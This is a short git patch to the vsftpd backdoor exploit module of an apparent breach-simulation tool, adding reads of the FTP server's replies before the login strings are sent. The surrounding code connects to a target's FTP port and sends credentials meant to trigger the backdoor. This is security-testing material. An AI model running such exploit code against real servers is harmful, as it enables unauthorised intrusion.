From 9b0c0d4233c8f34f177c202a7d29a93c80d46e70 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Tue, 12 Mar 2019 19:51:12 +0100 Subject: [PATCH] Update vsftpd.py using `ftp_socket.recv(1024).decode('utf-8')` to prevent chances of race conditions --- monkey/infection_monkey/exploit/vsftpd.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c2088514a..e32f1fd80 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -34,9 +34,10 @@ class VSFTPDExploiter(HostExploiter): LOG.info('[*] Attempting to trigger backdoor...') ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - + ftp_socket.recv(1024).decode('utf-8') # Attempt to login to trigger backdoor ftp_socket.send(USERNAME) + ftp_socket.recv(1024).decode('utf-8') ftp_socket.send(PASSWORD) time.sleep(1) ftp_socket.close()